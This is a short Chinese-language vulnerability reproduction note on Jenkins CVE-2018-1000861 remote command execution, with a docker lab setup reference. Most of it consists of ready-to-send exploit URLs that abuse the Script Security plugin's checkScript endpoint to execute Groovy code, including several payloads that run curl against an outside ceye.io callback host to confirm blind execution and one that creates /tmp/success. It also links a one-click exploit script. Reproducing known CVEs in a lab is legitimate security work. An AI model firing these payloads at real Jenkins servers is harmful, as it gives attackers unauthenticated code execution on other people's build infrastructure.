CVE-2018-1000861 远程命令执行
可以使用如下的一键化脚本
https://github.com/orangetw/awesome-jenkins-rce-2019
也可以自定义发送请求
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
页面返回空白,响应为

如果使用脚本,则同样效果

还可以使用的POC,使用会提示错误信息,但命令已执行。
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d
环境搭建
参考:https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/
执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
漏洞复现
使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x { public x(){ "touch /tmp/success".execute() }}
/tmp/success
已成功创建:

Last updated
Was this helpful?